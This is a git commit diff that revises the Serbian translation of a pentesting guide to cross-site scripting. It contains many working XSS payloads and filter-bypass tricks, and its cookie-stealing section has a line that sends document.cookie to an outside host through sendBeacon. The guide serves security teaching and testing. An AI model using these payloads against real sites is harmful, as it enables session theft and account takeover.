Translated ['src/pentesting-web/xss-cross-site-scripting/README.md'] to

This commit is contained in:
Translator 2025-02-04 22:43:43 +00:00
parent 16ad08d5da
commit bba147afb1

View File

@ -45,7 +45,7 @@ Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vred
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš unos odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljan JS kod na različite načine.
### Sirovi HTML
### Sirov HTML
Ako se vaš unos **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
@ -84,7 +84,7 @@ alert(1)
#### Javascript Hoisting
Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene kako biste mogli da iskoristite scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
**Pogledajte sledeću stranicu za više informacija:**
**Proverite sledeću stranicu za više informacija:**
{{#ref}}
js-hoisting.md
@ -151,7 +151,7 @@ server-side-xss-dynamic-pdf.md
Kada se vaš unos odražava **unutar HTML stranice** ili možete da pobegnete i umetnete HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` da kreirate nove oznake: Samo pokušajte da **odrazite** taj **karakter** i proverite da li je **HTML kodiran** ili **izbrisan** ili ako je **odražen bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\
Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Napomena: HTML komentar može biti zatvoren koristeći\*\*\*\*\*\***\***\*`-->`\*\***\***\*ili \*\*\*\*\*\***`--!>`\*\*_
_**Napomena: HTML komentar se može zatvoriti koristeći\*\*\*\*\*\***\***\*`-->`\*\***\***\*ili \*\*\*\*\*\***`--!>`\*\*_
U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payload-e kao:
```html
@ -170,7 +170,7 @@ Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-shee
### Prilagođeni tagovi
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste učinili da stranica **fokusira na taj objekat** i **izvrši** kod:
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -267,7 +267,7 @@ Ako **ne možete da pobegnete iz taga**, možete kreirati nove atribute unutar t
```
### Unutar atributa
Čak i ako **ne možete da pobegnete iz atributa** (`"` se kodira ili briše), u zavisnosti od **tog atributa** u kojem se vaša vrednost odražava **da li kontrolišete celu vrednost ili samo deo** moći ćete da ga zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\
Čak i ako **ne možete da pobegnete iz atributa** (`"` se kodira ili briše), u zavisnosti od **tog atributa** u kojem se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\
Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
**Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje**
@ -351,17 +351,17 @@ _**U ovom slučaju, HTML kodiranje i trik sa Unicode kodiranjem iz prethodnog od
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostavni navodnik** i vidite da **je URL kodiran**, zapamtite da **nije važno,** biće **tumačeno** kao **jednostavni navodnik** tokom **vremena izvršenja.**
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednu navodnu**, i vidite da se **URL kodira**, zapamtite da **to nije važno,** biće **tumačeno** kao **jedna navodna** tokom **vremena izvršenja.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu za kodiranje **payload-a**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
**Korišćenje Hex i Octal kodiranja sa `javascript:`**
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarirate **HTML tagove za izvršavanje JS**:
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarisete **HTML tagove za izvršavanje JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -373,7 +373,7 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Obrnuto navođenje taba
### Obrnuto nabbing kartica
```javascript
<a target="_blank" rel="opener"
```
@ -383,10 +383,10 @@ Ako možete da ubacite bilo koju URL adresu u proizvoljnom **`<a href=`** tagu k
../reverse-tab-nabbing.md
{{#endref}}
### o zaobilaženju Event Handlers
### za zaobilaženje "on" događaja
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" event handlers**.\
U slučaju da postoji neka crna lista koja vam sprečava da kreirate ove event handlers, možete pokušati sledeće zaobilaženja:
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" događaje**.\
U slučaju da postoji neka crna lista koja vam sprečava da kreirate ove događaje, možete pokušati sledeće zaobilaženja:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -401,7 +401,7 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS u "neiskoristivim tagovima" (skriveni unos, link, kanonski, meta)
### XSS u "Neiskoristivim tagovima" (skriveni unos, link, kanonski, meta)
Iz [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:**
```html
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Iz [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **uveriti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
Iz [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -430,7 +430,7 @@ Iz [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Mož
### Obilaženje crne liste
Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom odeljku. Vratite se da naučite gde možete koristiti:
Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom odeljku. Vratite se **da naučite gde možete koristiti:**
- **HTML kodiranje (HTML tagovi)**
- **Unicode kodiranje (može biti validan JS kod):** `\u0061lert(1)`
@ -452,7 +452,7 @@ Ako ste pronašli **XSS u veoma malom delu** veba koji zahteva neku vrstu intera
Na primer, mogli biste dodati neki stil u element kao što je: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Ali, ako WAF filtrira stil atribut, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
Ali, ako WAF filtrira atribut stila, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
> .test {display:block; color: blue; width: 100%\}
@ -468,15 +468,15 @@ Ovaj trik je preuzet sa [https://medium.com/@skavans\_/improving-the-impact-of-a
## Umetanje unutar JavaScript koda
U ovim slučajevima vaš **ulaz** će biti **reflektovan unutar JS koda** `.js` fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
U ovom slučaju, vaš **ulaz** će biti **reflektovan unutar JS koda** `.js` fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
### Izbegavanje \<script> taga
Ako je vaš kod umetnut unutar `<script> [...] var input = 'reflected data' [...] </script>` lako možete **izbeći zatvaranje `<script>`** taga:
Ako je vaš kod umetnut unutar `<script> [...] var input = 'reflektovani podaci' [...] </script>` lako možete **izbeći zatvaranje `<script>`** taga:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Napomena da u ovom primeru **nismo čak ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
Napomena da u ovom primeru **nismo čak ni zatvorili jednostavni navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a za razumevanje i izvršavanje ugrađenih skripti se vrši tek kasnije.
### Unutar JS koda
@ -488,7 +488,7 @@ Ako se `<>` sanitizuju, još uvek možete **izbeći string** gde se vaš unos **
```
### Template literals \`\`
Da biste konstruisali **nizove** osim jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
Da biste konstruisali **nizove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS niza koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
Ovo se može **zloupotrebiti** koristeći:
@ -510,7 +510,7 @@ loop``
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
### Unicode kodiranje JS izvršavanje
### Unicode Encode JS izvršavanje
```javascript
alert(1)
alert(1)
@ -624,7 +624,7 @@ console.log(arguments);
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
@ -672,6 +672,7 @@ try{throw onerror=alert}catch{throw 1}
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
@ -752,7 +753,7 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj
### Cookie XSS
Ako možete da izazovete XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
Ako možete da izazovete XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, možete iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -782,7 +783,7 @@ Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane**
```
### Ruby-On-Rails bypass
Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilaže ograničenja citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
Primer forme ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -791,7 +792,7 @@ Par "Ključ","Vrednost" će biti vraćen ovako:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Zatim će biti umetnut onfocus atribut i XSS se dešava.
Zatim će biti umetnut onfocus atribut i doći će do XSS-a.
### Posebne kombinacije
```html
@ -825,14 +826,14 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS sa injekcijom zaglavlja u 302 odgovoru
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo nije **trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, mogli biste pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
### Samo slova, brojevi i tačke
Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničeno na te karaktere. [**Pročitajte ovaj deo ovog posta**](#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje.
Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničeno na te karaktere. [**Pročitajte ovaj deo ovog posta**](#javascript-function) da biste saznali kako da iskoristite ovo ponašanje.
### Validni `<script>` Content-Types za XSS
@ -864,7 +865,7 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Tipovi skripti za XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi mogu biti označeni za učitavanje skripte?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi bi mogli biti označeni za učitavanje skripte?
```html
<script type="???"></script>
```
@ -927,7 +928,7 @@ Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca
- application/rss+xml (isključeno)
- application/atom+xml (isključeno)
U drugim pregledačima mogu se koristiti drugi **`Content-Types`** za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
U drugim pregledačima drugi **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
@ -941,7 +942,7 @@ Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena
```
### Posebni obrasci zamene
Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**, napadač može koristiti [**posebne zamene stringova**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kako bi pokušao da zaobiđe neke zaštite: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**, napadač može koristiti [**posebne zamene stringova**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) da pokuša da zaobiđe neke zaštite: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da se **izbegne JSON string** unutar skripte i izvrši proizvoljan kod.
@ -1267,7 +1268,7 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako imate sreće.
> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly zastavica postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako imate sreće.
### Ukradi sadržaj stranice
```javascript
@ -1358,7 +1359,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Kratki vremenski intervali ukazuju na port koji odgovara_ _Duži vremenski intervali ukazuju na to da nema odgovora._
_Kratki vremenski intervali ukazuju na port koji odgovara_ _Dugotrajniji vremenski intervali ukazuju na to da nema odgovora._
Pogledajte listu portova koji su zabranjeni u Chrome-u [**ovde**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox-u [**ovde**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
@ -1490,7 +1491,7 @@ console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
```
### Lista Brute-Force
### Brute-Force Lista
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
@ -1598,7 +1599,7 @@ id="foo"/>
```
Pronađite **više SVG payload-a na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Razne JS trikove i relevantne informacije
## Razne JS trikovi i relevantne informacije
{{#ref}}
other-js-tricks.md